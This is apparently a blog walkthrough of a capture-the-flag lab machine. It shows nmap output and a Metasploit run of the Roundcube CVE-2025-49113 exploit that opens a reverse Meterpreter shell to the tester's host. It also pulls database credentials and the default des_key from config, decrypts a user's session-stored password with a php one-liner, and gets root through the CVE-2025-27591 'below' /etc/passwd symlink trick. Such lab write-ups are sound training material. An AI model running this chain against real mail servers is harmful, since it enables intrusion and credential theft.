Credentials provided: tyler:LhKL1o9Nm3X2
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-30 15:31 CET
Nmap scan report for 10.10.11.77
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c4bd276ab10069205dcf755947f18df (ECDSA)
|_ 256 2d6d4a4cee2e11b6c890e683e9df38b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
Trying to access http://outbound.htb redirects to http://mail.outbound.htb.
We land on the login page for the "Roundcube Webmail", we can login using our credentials.

I tried composing an email and sending it to myself tyler@locahost but it doesn't accept that, I also tried with admin but no success.
I can save it as a draft but the HTML is not getting rendered.
There's no emails in the inbox or in sent.
Instead let's try to find some vulnerabilities in the service and plugins.
There's a CVSS 9.9 Deserialization vuln in Roundcube < 1.6.11 that allows running php and thus RCE - CVE-2025-49113.
There is a metasploit module for it
search roundcube
# # Name Disclosure Date Rank Check Description
# - ---- --------------- ---- ----- -----------
# 0 exploit/multi/http/roundcube_auth_rce_cve_2025_49113 2025-06-02 excellent Yes Roundcube Post-Auth RCE via PHP Object Deserialization
# 1 \_ target: Linux Dropper . . . .
# 2 \_ target: Linux Command . . . .
use 1
set RHOSTS mail.outbound.htb
set VHOST mail.outbound.htb
set USERNAME tyler
set PASSWORD LhKL1o9Nm3X2
set LHOST 10.10.15.46
run
# [*] Started reverse TCP handler on 10.10.15.46:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] Extracted version: 10610
# [+] The target appears to be vulnerable.
# [*] Fetching CSRF token...
# [+] Extracted token: sN9zAqAwEVAo9y0roaPX62c4WOqFLqFK
# [*] Attempting login...
# [+] Login successful.
# [*] Preparing payload...
# [+] Payload successfully generated and serialized.
# [*] Uploading malicious payload...
# [+] Exploit attempt complete. Check for session.
# [*] Sending stage (3090404 bytes) to 10.10.11.77
# [*] Meterpreter session 1 opened (10.10.15.46:4444 -> 10.10.11.77:60222) at 2025-10-30 15:49:36 +0100
shell
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
# html
ls html
# roundcube
cd html/roundcube
ls -la
# total 412
# drwxr-xr-x 1 www-data www-data 4096 Jun 6 18:55 .
# drwxr-xr-x 1 root root 4096 Jun 6 18:55 ..
# -rw-r--r-- 1 www-data www-data 2553 Feb 8 2025 .htaccess
# -rw-r--r-- 1 www-data www-data 216244 Feb 8 2025 CHANGELOG.md
# -rw-r--r-- 1 www-data www-data 12714 Feb 8 2025 INSTALL
# -rw-r--r-- 1 www-data www-data 35147 Feb 8 2025 LICENSE
# -rw-r--r-- 1 www-data www-data 3853 Feb 8 2025 README.md
# -rw-r--r-- 1 www-data www-data 1049 Feb 8 2025 SECURITY.md
# drwxr-xr-x 1 www-data www-data 4096 Oct 30 14:57 SQL
# -rw-r--r-- 1 www-data www-data 4657 Feb 8 2025 UPGRADING
# drwxr-xr-x 2 www-data www-data 4096 Feb 8 2025 bin
# -rw-r--r-- 1 www-data www-data 1086 Feb 8 2025 composer.json
# -rw-r--r-- 1 www-data www-data 56802 Feb 8 2025 composer.lock
# drwxr-xr-x 2 www-data www-data 4096 Jun 6 18:55 config
# -rw-r--r-- 1 www-data www-data 11200 Feb 8 2025 index.php
# drwxr-xr-x 1 www-data www-data 4096 Jun 11 07:46 logs
# drwxr-xr-x 37 www-data www-data 4096 Feb 8 2025 plugins
# drwxr-xr-x 8 www-data www-data 4096 Feb 8 2025 program
# drwxr-xr-x 3 www-data www-data 4096 Jun 6 18:55 public_html
# drwxr-xr-x 3 www-data www-data 4096 Feb 8 2025 skins
# drwxr-xr-x 1 www-data www-data 4096 Oct 30 14:49 temp
# drwxr-xr-x 14 www-data www-data 4096 Feb 8 2025 vendor
I first looked at the .htaccess and the SQL/ directory, nothing interesting, but then inside config/ we find the config.inc.php. Looking into it we see a mysql password, though there's other interesting stuff I want to highlight, thankfully we have the default config also we can diff both:
cd config
diff config.inc.php config.inc.php.sample
# 28c28
# < $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
# ---
# > $config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail';
# 67,68d66
# < $config['default_host'] = 'localhost';
# < $config['smtp_server'] = 'localhost';
Huh they didn't change the secret key for DB passwords:
cat config.inc.php
# // This key is used to encrypt the users imap password which is stored
# // in the session record. For the default cipher method it must be
# // exactly 24 characters long.
# // YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
# $config['des_key'] = 'rcmail-!24ByteDESkey*Str';
ps aux | grep mysql
# mysql 144 0.0 2.8 1409000 114896 ? Sl 13:10 0:02 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
# root 145 0.0 0.0 6196 2560 ? S 13:10 0:00 logger -t mysqld -p daemon error
# www-data 2733 0.0 0.0 3528 1664 ? S 15:05 0:00 grep mysql
ps aux | grep maria
# root 41 0.0 0.0 2800 1792 ? S 13:10 0:00 /bin/sh /usr/bin/mariadbd-safe
# mysql 144 0.0 2.8 1409000 114896 ? Sl 13:10 0:02 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
# www-data 2749 0.0 0.0 3528 1792 ? S 15:06 0:00 grep maria
Because we have full access to all processes running let's just do our shopping while we are at it:
cat /etc/passwd | grep "sh$"
# root:x:0:0:root:/root:/bin/bash
# tyler:x:1000:1000::/home/tyler:/bin/bash
# jacob:x:1001:1001::/home/jacob:/bin/bash
# mel:x:1002:1002::/home/mel:/bin/bash
ps aux | grep root
# root 2662 0.0 0.0 8544 2976 ? Ss 15:01 0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
# root 2664 0.0 0.0 5164 3072 ? S 15:01 0:00 dovecot/log
# root 2665 0.0 0.1 7696 4864 ? S 15:01 0:00 dovecot/config
# Nothing for other users.
Let's explore the database using the credentials we found:
mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SHOW TABLES;"
# +---------------------+
# | Tables_in_roundcube |
# +---------------------+
# | cache |
# | cache_index |
# | cache_messages |
# | cache_shared |
# | cache_thread |
# | collected_addresses |
# | contactgroupmembers |
# | contactgroups |
# | contacts |
# | dictionary |
# | filestore |
# | identities |
# | responses |
# | searches |
# | session |
# | system |
# | users |
# +---------------------+
mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SELECT username,preferences FROM users;"mysql
# +----------+---------------------------------------------------+
# | username | preferences |
# +----------+---------------------------------------------------+
# | jacob | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
# | mel | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
# | tyler | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
# +----------+---------------------------------------------------+
# Though we don't see any passwords here.
mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SELECT * FROM session;"
# +----------------------------+---------------------+------------+----------------+
# | sess_id | changed | ip | vars |
# +----------------------------+---------------------+------------+----------------+
# | 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V... |
# +----------------------------+---------------------+------------+----------------+
In the sessions table, the vars field is a very long base64, if we decode it we get a similar struture to the preferences field from the users table. This seems to be php serialize().
Decoding the vars blob, we find: username|s:5:"jacob";, password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";, auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";, unseen_count|a:2:
Ok so there is a jacob user with a session and two unread emails.
It would be cool to try and either steal their emails, session or get their password. I tried a bit of everything, but in the end I believe the password is the way to go.
Though the hashing algorithm is a bit weird. If we remember from the config file we had this des_key, looking online a bit I found references to 3DES, which is a symmetric encryption algorithm, let's try to reverse it.
I asked ChatGPT to make me a decryption script for roundcube's encryption method using 3DES and the des_key:
php -r '$k="rcmail-!24ByteDESkey*Str";
$c=trim($argv[1])."=";
$d=base64_decode($c);
echo openssl_decrypt(substr($d,8), "DES-EDE3-CBC", $k, OPENSSL_RAW_DATA,substr($d,0,8)).PHP_EOL'
'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
# 595mO8DmwGeD
It then also pointed me to the decrypt method inside the source code
Ok let's confirm we have jacob:595mO8DmwGeD:

Great, so we learn of the real jacob password: jacob:gY4Wr3a1evp4 and that they have been provided privileges to read logs to review an anomaly causing high server load.
cat user.txt
Looking at jacob's privileges:
sudo -l
# Matching Defaults entries for jacob on outbound:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
#
# User jacob may run the following commands on outbound:
# (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
below is a htop clone maintained by Meta (facebook), it has a sort of backup and restore feature which works within /var/log/below, be default this directory is world-writable, which allows us to do osme pretty nasty things. This is CVE-2025-27591 (<0.9.0)
Funny enough they never coded in a --version flag, so it's pretty much a blind exploit. But current latest is 0.11.0 so there's a good chance it works.
I found a PoC online, it's pretty over-kill but essentially it deletes the error logging file, symlinks /etc/passwd to it, runs the sudo below record process, which changes the privileges of the file, then appends a new line into it that creates a attacker user with root access, and su attacker to get root.
python3 exploit
cd /root
cat root.txt
2025 © Philippe Cheype
Base theme by Digital Garden